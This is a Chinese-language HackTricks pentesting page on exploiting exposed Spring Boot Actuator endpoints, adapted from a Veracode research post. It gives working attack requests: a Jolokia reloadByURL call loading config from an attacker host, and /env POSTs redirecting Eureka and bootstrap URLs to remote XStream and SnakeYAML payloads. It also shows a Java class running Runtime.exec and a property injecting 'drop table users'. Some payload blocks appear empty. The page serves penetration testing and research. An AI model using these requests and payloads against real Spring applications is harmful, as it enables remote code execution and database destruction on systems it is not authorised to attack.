# Spring Actuators
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## **Spring身份验证绕过**
**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
## 利用Spring Boot Actuators
**摘自** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
Spring Boot框架包含一些称为actuators的功能,用于在将Web应用程序推送到生产环境时帮助您监视和管理它。它们旨在用于审计、健康状况和指标收集,但在配置错误时,它们也可能打开一个隐藏的服务器入口。
当Spring Boot应用程序运行时,它会自动将几个端点(如'/health'、'/trace'、'/beans'、'/env'等)注册到路由过程中。对于Spring Boot 1-1.4版本,它们可以在没有身份验证的情况下访问,这会导致安全问题。从Spring 1.5版本开始,除了'/health'和'/info'之外的所有端点都被视为敏感并默认受到保护,但这种安全性通常被应用程序开发人员禁用。
以下Actuator端点可能存在安全问题,导致可能的漏洞:
* /dump - 显示线程的转储(包括堆栈跟踪)
* /trace - 显示最近的几个HTTP消息(可能包括会话标识符)
* /logfile - 输出日志文件的内容
* /shutdown - 关闭应用程序
* /mappings - 显示所有MVC控制器映射
* /env - 提供对配置环境的访问
* /actuator/env
* /restart - 重新启动应用程序
* /heapdump - 从我们的应用程序使用的JVM构建并返回堆转储
对于Spring 1x,它们注册在根URL下,而对于2x,它们移动到"/actuator/"基本路径下。
**利用方法:**
大多数actuators仅支持GET请求,并简单地显示敏感配置数据,但其中几个对于寻找shell的人特别有趣:
**1. 通过'/jolokia'进行远程代码执行**
如果目标应用程序的类路径中存在Jolokia库,则Spring Boot会自动将其暴露在'/jolokia' actuator端点下。Jolokia允许通过HTTP访问所有已注册的MBeans,并设计用于执行与JMX相同的操作。可以使用以下URL列出所有可用的MBeans操作:
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
同样,大多数MBeans操作只是显示一些系统数据,但有一个特别有趣:
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_jolokia.png)
由Logback库提供的'**reloadByURL**'操作允许我们从外部URL重新加载日志配置。只需导航到:[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
那么,为什么我们要关心日志配置呢?主要有两个原因:
1. 配置具有XML格式,当然,Logback启用了外部实体解析,因此容易受到盲目XXE的攻击。
2. Logback配置具有['从JNDI获取变量'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)的功能。在XML文件中,我们可以包含类似'**\**'的标签,name属性将传递给DirContext.lookup()方法。如果我们可以向.lookup()函数提供任意名称,甚至不需要XXE或HeapDump,因为它给了我们完全的**远程代码执行**。
**工作原理:**
1. 攻击者请求上述URL以执行'reloadByURL'函数,该函数由'qos.logback.classic.jmx.JMXConfigurator'类提供。
2. 'reloadByURL'函数从[http://artsploit.com/logback.xml](http://artsploit.com/logback.xml)下载新的配置,并将其解析为Logback配置。这个恶意配置应该具有以下内容:
```
```
3\. 当这个文件在受漏洞影响的服务器上解析时,它会创建一个到攻击者控制的LDAP服务器的连接,该连接由“env-entry-name”参数值指定,从而导致JNDI解析。恶意的LDAP服务器可能返回一个带有“Reference”类型的对象,以触发目标应用程序上提供的字节码的执行。JNDI攻击在这篇[MicroFocus研究论文](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)中有很好的解释。之前在我们的博客中描述的[新的JNDI利用技术](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)在这里也适用,因为Tomcat是Spring Boot框架的默认应用服务器。
**2. 通过'/env'进行配置修改**
如果Spring Cloud Libraries在类路径中,**'/env'**端点允许您修改Spring环境属性。所有标记为'**@ConfigurationProperties**'的bean都可以被修改和重新绑定。我们可以控制的许多属性都列在'/configprops'执行器端点上。实际上,有很多属性,但我们不清楚需要修改什么才能实现某些目标。在花了几天时间与它们玩耍后,我们找到了这个:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
该属性可以将Eureka serviceURL修改为任意值。Eureka Server通常用作发现服务器,几乎所有的Spring Cloud应用都会在其上注册并向其发送状态更新。如果你很幸运在目标类路径中有Eureka-Client <1.8.7(它通常包含在Spring Cloud Netflix中),你可以利用其中的**XStream反序列化漏洞**。你只需要将'eureka.client.serviceUrl.defaultZone'属性设置为你的服务器URL([http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)),通过'/env'调用'/refresh'端点。之后,你的服务器应该提供以下内容的XStream负载:
```markup
/Applications/Calculator.app/Contents/MacOS/Calculator
false
java.lang.ProcessBuilder
start
foo
foo
```
这个XStream负载是从[Marshalsec研究](https://github.com/mbechler/marshalsec)中的ImageIO JDK-only gadget链稍作修改得到的。唯一的区别是使用**LinkedHashSet**来触发'jdk.nashorn.internal.objects.NativeString.hashCode()'方法。原始负载利用java.lang.Map来实现相同的行为,但是Eureka的XStream配置有一个[自定义的映射转换器](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58),使其无法使用。上面的负载根本不使用映射,可以用来实现远程代码执行而不需要额外的限制。
使用Spring Actuators,即使您没有访问内部Eureka服务器,也可以利用此漏洞;您只需要一个可用的"/env"端点。
**其他有用的设置:**
**spring.datasource.tomcat.validationQuery=drop+table+users** - 允许您指定任何SQL查询,并将自动执行该查询对当前数据库的影响。它可以是任何语句,包括插入、更新或删除。
![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - 允许您修改当前的JDBC连接字符串。
最后一个看起来很好,但问题是当运行数据库连接的应用程序已经建立时,仅更新JDBC字符串没有任何效果。幸运的是,在这种情况下,可能有另一个属性可以帮助我们:
**spring.datasource.tomcat.max-active**=777
我们可以在这里使用的技巧是增加与数据库的并发连接数。因此,我们可以更改JDBC连接字符串,增加连接数,然后向应用程序发送许多请求以模拟重负载。在负载下,应用程序将使用更新后的恶意JDBC字符串创建一个新的数据库连接。我在本地对Mysql进行了测试,效果非常好。
![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
除此之外,还有其他看起来有趣的属性,但实际上并不真正有用:
**spring.datasource.url** - 数据库连接字符串(仅用于第一个连接)
**spring.datasource.jndiName** - 数据库JNDI字符串(仅用于第一个连接)
**spring.datasource.tomcat.dataSourceJNDI** - 数据库JNDI字符串(根本不使用)
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url(在应用程序启动后没有任何效果,只使用初始值)
除非调用'/restart'端点,否则这些属性都没有任何效果。此端点会重新启动所有ApplicationContext,但默认情况下已禁用。
还有很多其他有趣的属性,但大多数在更改后不会立即生效。
**注意**:在Spring Boot 2x中,通过'/env'端点修改属性的请求格式略有不同(使用json格式),但思路是相同的。
**一个易受攻击的应用程序示例:**
如果您想在本地测试此漏洞,我在我的Github页面上创建了一个[简单的Spring Boot应用程序](https://github.com/artsploit/actuator-testbed)。所有的负载都应该在那里工作,除了数据库设置(除非您进行配置)。
**黑盒发现:**
完整的默认Actuators列表可以在这里找到:[https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)。请记住,应用程序开发人员可以使用@Endpoint注解创建自己的端点。
**更新于2019年5月:**
有一种更可靠的方法可以通过Spring环境属性修改实现RCE:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
```
这个请求修改了'spring.cloud.bootstrap.location'属性,该属性用于加载外部配置并以YAML格式解析。为了实现这一点,我们还需要调用'/refresh'端点。
```
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
当从远程服务器获取YAML配置时,它会使用SnakeYAML库进行解析,该库也容易受到反序列化攻击的影响。有效载荷(yaml-payload.yml)可以通过使用上述的Marshalsec研究生成:
```
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
```
反序列化该文件会触发使用提供的URLClassLoader执行ScriptEngineManager的构造函数。简而言之,它会导致调用**'java.util.ServiceLoader#load(java.lang.Class\, java.lang.ClassLoader)'**方法,在类路径中的所有库中查找'ScriptEngineFactory'接口的所有实现。由于我们可以通过URLClassLoader添加新的库,因此我们可以提供一个包含恶意字节码的新的'ScriptEngineFactory'。为此,我们需要创建一个包含以下必需文件的jar归档文件:[yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java)应包含实际的字节码,其中构造函数中包含恶意载荷。
```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
```
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory)应该只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件,这样ServiceLoader就会知道在哪里找到该类:**artsploit.AwesomeScriptEngineFactory**。再次强调,这种利用技术需要在类路径中存在spring cloud,但与Eureka的XStream payload相比,它甚至在最新版本中也可以工作。您可以在我的github项目中找到完整的payload:[yaml-payload](https://github.com/artsploit/yaml-payload)。
## Env + H2 RCE
请参阅此页面以了解如何利用/env + H2组合:[https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## 更多信息
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**